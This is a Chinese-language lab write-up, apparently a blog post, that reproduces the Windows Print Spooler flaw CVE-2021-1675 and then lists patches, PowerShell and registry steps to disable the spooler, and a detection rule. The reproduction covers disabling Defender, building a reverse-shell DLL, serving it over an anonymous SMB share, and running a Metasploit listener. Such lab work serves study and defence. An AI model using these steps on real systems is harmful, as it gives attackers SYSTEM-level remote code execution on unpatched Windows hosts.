漏洞详情

Microsoft Windows Print Spooler 服务未能限制对RpcAddPrinterDriverEx()函数的访问,该函数可能允许远程身份验证的攻击者以系统权限在易受攻击的系统上执行任意代码。该RpcAddPrinterDriverEx()函数用于在系统上安装打印机驱动程序。此函数的参数之一是DRIVER_CONTAINER对象,它包含有关添加的打印机将使用哪个驱动程序的信息。另一个参数,dwFileCopyFlags指定如何复制替换打印机驱动程序文件。攻击者可以利用任何经过身份验证的用户都可以调用RpcAddPrinterDriverEx()并指定位于远程服务器上的驱动程序文件这一事实。这会导致 Print Spooler 服务spoolsv.exe以 SYSTEM 权限执行任意 DLL 文件中的代码。

影响版本:

Windows Server 2012 R2 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 (Server Core installation)

Windows Server 2012

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows RT 8.1

Windows 8.1 for x64-based systems

Windows 8.1 for 32-bit systems

Windows 7 for x64-based Systems Service Pack 1

Windows 7 for 32-bit Systems Service Pack 1

Windows Server 2016 (Server Core installation)

Windows Server 2016

Windows 10 Version 1607 for x64-based Systems

Windows 10 Version 1607 for 32-bit Systems

Windows 10 for x64-based Systems

Windows 10 for 32-bit Systems

Windows Server, version 20H2 (Server Core Installation)

Windows 10 Version 20H2 for ARM64-based Systems

Windows 10 Version 20H2 for 32-bit Systems

Windows 10 Version 20H2 for x64-based Systems

Windows Server, version 2004 (Server Core installation)

Windows 10 Version 2004 for x64-based Systems

Windows 10 Version 2004 for ARM64-based Systems

Windows 10 Version 2004 for 32-bit Systems

Windows 10 Version 21H1 for 32-bit Systems

Windows 10 Version 21H1 for ARM64-based Systems

Windows 10 Version 21H1 for x64-based Systems

Windows 10 Version 1909 for ARM64-based Systems

Windows 10 Version 1909 for x64-based Systems

Windows 10 Version 1909 for 32-bit Systems

Windows Server 2019 (Server Core installation)

Windows Server 2019

Windows 10 Version 1809 for ARM64-based Systems

Windows 10 Version 1809 for x64-based Systems

Windows 10 Version 1809 for 32-bit Systems

漏洞复现

环境:windows 2019 server虚拟机 (192.168.175.133)和kali虚拟机(192.168.175.132),虚拟机都是NAT模式。

windows 2019 server中的配置:

windows 2019 server参考https://blog.csdn.net/wxh0000mm/article/details/120151737另一篇创建域

创建域用户如下:

在服务中启动Print Spooler服务

Print Spooler服务启动之后

关闭windows Defender病毒和威胁防护实时保护,这是因为使用的是反弹shell,反弹shell很早就在windows Defender中被杀掉了。

Kali中的配置:

先把作者的impacket包下载下来运行,链接为

https://github.com/cube0x0/impacket

运行

cd impacket
python3 ./setup.py install

开启匿名访问SMB

在smb.conf末尾添加

这里我使用原作者的也不行,后面参考了网络上其它人的配置才可以成功访问,在结尾添加了force user = nobody,网上有人说也可以添加force user = smbuser,可以试试

配置完后,开启SMBD,我配置修改之后都重新开启一遍。

因为spoolsv.exe是x64的,所以生成的dll也得是x64,生成dll我使用的是windows/x64/shell_reverse_tcp跟网上一些人的不一样

LHOST 是Kali的IP  ,LPORT设置为443 ,生成的反弹shell放在了TMP文件夹下,这个文件夹也是SMBD设置的匿名共享文件夹

开启监听

msfconsole
use exploit/multi/handler
set payload windows/x64/shell_reverse_tcp
set lhost 192.168.175.132  (KALI的IP)
set lport 443              (监听的端口,与生产的DLL一样的配置)
run

exp链接

https://github.com/cube0x0/CVE-2021-1675

按照示例运行EXP

下面总提示错误,一直没有去管,但是反弹shell好使

简单测试一下:

将在Kali中生成的rever.dll拷贝到Windows 2019 server的C盘中,在Kali中建立监听反弹shell,直接运行Windows中的rever.dll,Kali的反弹监听也可以

解决方案:

更新官方补丁

目前微软官方已针对支持的系统版本发布了修复该漏洞的安全补丁,强烈建议受影响用户尽快安装补丁进行防护,官方下载链接:

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675

关闭Print Spooler服务

若相关用户暂时无法进行补丁更新,可通过禁用 Print Spooler 服务来进行缓解:

1、在服务应用(services.msc)中找到 Print Spooler 服务。

2、停止运行服务,同时将“启动类型”修改为“禁用”。

如果禁用 Print Spooler 服务适合您的企业,请使用以下 PowerShell 命令:

Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled

关闭打印机服务

Stop-Service SpoolerREG ADD  "HKLMSYSTEMCurrentControlSetServicesSpooler"  /v "Start " /t
REG_DWORD /d "4" /f

或卸载打印服务

Uninstall-WindowsFeature Print-Services

检测方法

EventID = '11' and Image like 'spoolsv.exe' and TargetFilename like 'C:WindowsSystem32spooldriversx643'EventID      316Message    INFO 316 NT AUTHORITYSYSTEM 已添加或更新 Windows x64

总结:

我没有碰到网上说的利用一次,Print sploor服务会自动关闭,可能跟我运行EXP时下面有一些错误有关

参考文章和项目

  • https://github.com/cube0x0/CVE-2021-1675

  • https://github.com/afwu/PrintNightmare

  • https://blog.csdn.net/ShelleyLiu0415/article/details/47836855

  • https://blog.csdn.net/weixin_42345596/article/details/118544065

  • http://noahblog.360.cn/cve-2021-1675/

  • https://mp.weixin.qq.com/s/iNOb6cBAfMwCm2AjqbdEvQ

CVE-2021-1675(Windows Print Spooler 远程代码执行漏洞)相关推荐

  1. CVE-2021-1675: Windows Print Spooler远程代码执行漏洞

    ** 赶紧点击上方话题进行订阅吧!** 报告编号:B6-2021-062902 报告来源:360CERT 报告作者:360CERT 更新日期:2021-06-29 1 漏洞简述 2021年06月29日 ...

  2. Windows Print Spooler 远程代码执行漏洞(CVE-2021-1675)

    ​ 点击上方 订阅话题 第一时间了解漏洞威胁 0x01 漏洞描述 Windows Print Spooler是Windows的打印机后台处理程序,广泛的应用于各种内网中. 微软在2021年6月的安全更 ...

  3. Windows Print Spooler 远程代码执行漏洞(CVE-2021-34527)

    ​ 点击上方 订阅话题 第一时间了解漏洞威胁 0x01 漏洞描述 Windows Print Spooler是Windows的打印机后台处理程序,广泛的应用于各种内网中. 360漏洞云监测到微软最新披 ...

  4. windows server 2012 远程连不上_CVE20201350 | Windows DNS Server远程代码执行漏洞通告

    0x00 漏洞概述 CVE   ID CVE-2020-1350 时     间 2020-07-15 类     型 RCE 等     级 严重 远程利用 是 影响范围 0x01 漏洞详情 微软于 ...

  5. 微软多个 Windows 系统存在远程代码执行漏洞(ICMP协议)(MPS-2023-1376)

    漏洞描述 Internet Control Message Protocol (ICMP) 协议是TCP/IP协议簇的一个子协议,用于在IP主机.路由器之间传递控制消息.raw socket 是一种网 ...

  6. 服务器2008操作系统漏洞,【操作系统安全漏洞 】解决CVE-2017-11780:Microsoft Windows SMB Server远程代码执行漏洞...

    一.漏洞描述 2017年10月10日,微软漏洞补丁日修复了多个安全漏洞,其中一个为Microsoft WindowsSMB Server远程执行代码漏洞,根据官方描述该漏洞如果被成功利用,远程攻击者可 ...

  7. rmi远程代码执行漏洞_微软 Windows DNS Server 远程代码执行漏洞

    安全预警 漏洞:微软 Windows DNS Server 远程代码执行漏洞漏洞编号:CVE-2020-1350威胁程度:高影响范围: Windows Server 2008 for 32-bit S ...

  8. CVE-2022-21907 Microsoft Windows HTTP 协议栈远程代码执行漏洞复现

    目录 0x01 声明: 0x02 简介: 0x03 漏洞概述: 0x04 影响版本: 0x05 环境搭建: 下载: 开启IIS: 0x06 漏洞复现: 利用POC: 0x07 流量分析: 客户端: 0 ...

  9. Windows DNS Server 远程代码执行漏洞 (CVE-2021-24078) 的详细原理分析

     聚焦源代码安全,网罗国内外最新资讯! 漏洞简介 Windows DNS Server 是 Windows Server 服务器上的一项重要功能组件, 负责调度和处理域内主机的所有DNS相关服务. 奇 ...

最新文章

  1. 字节通常用英文单词bit来表示_字节跳动为什么有字节2个字,因为程序的真谛:字节...
  2. 16进制ff转化为二进制_3秒钟快速转换十六进制为二进制
  3. 青少年蓝桥杯_2020_steam考试_中级组_第二题
  4. 信息系统项目管理师-项目采购管理核心知识点思维脑图
  5. 三月疯狂——最终结果 / March Madness – Final Score
  6. javascript中的内置对象和数据结构
  7. java实现多级菜单(java递归)方法二
  8. opencms mysql_OpenCms for MySql安装图解
  9. 20145335郝昊《网络对抗》逆向及Bof基础实践
  10. 中国塑料瓶市场趋势报告、技术动态创新及市场预测
  11. CodeForces 48C D - The Race (Fraction,数学)
  12. Python编程 - 不调用相关choose库函数,“众数“挑选器、随机挑选器 的源码编程实现
  13. spring boot 2.0 与FASTDFS进行整合
  14. Android:权限处理
  15. iOS开发各种证书详解
  16. Unity3d C# 代码动态设置(SetTexture)材质球(Material)贴图纹理(Texture)
  17. 不同频率闪烁多个LED灯
  18. x264 - 高品质 H.264 编码器
  19. 统计单表中时间有重叠的数据--同一人出入院时间重叠
  20. Android框架的详解

热门文章

  1. ciso 调试_混乱工程对CISO必不可少的5个原因
  2. 基于百度API人脸识别课堂签到系统(一)--------人脸检测
  3. P1936 【水晶灯火灵】
  4. 如何提升显卡性能测试软件,怎么测试显卡性能【设置办法】
  5. 经常玩电脑正确的坐姿_小芯机:玩电脑的正确姿势,你get了吗?
  6. 什么是Docker虚拟化
  7. PBOC命令格式解析1
  8. 【SPSS】激素水平项目实战案例
  9. tomcat和undertow、jetty、netty的区别
  10. android如何远程,如何远程控制我的Android?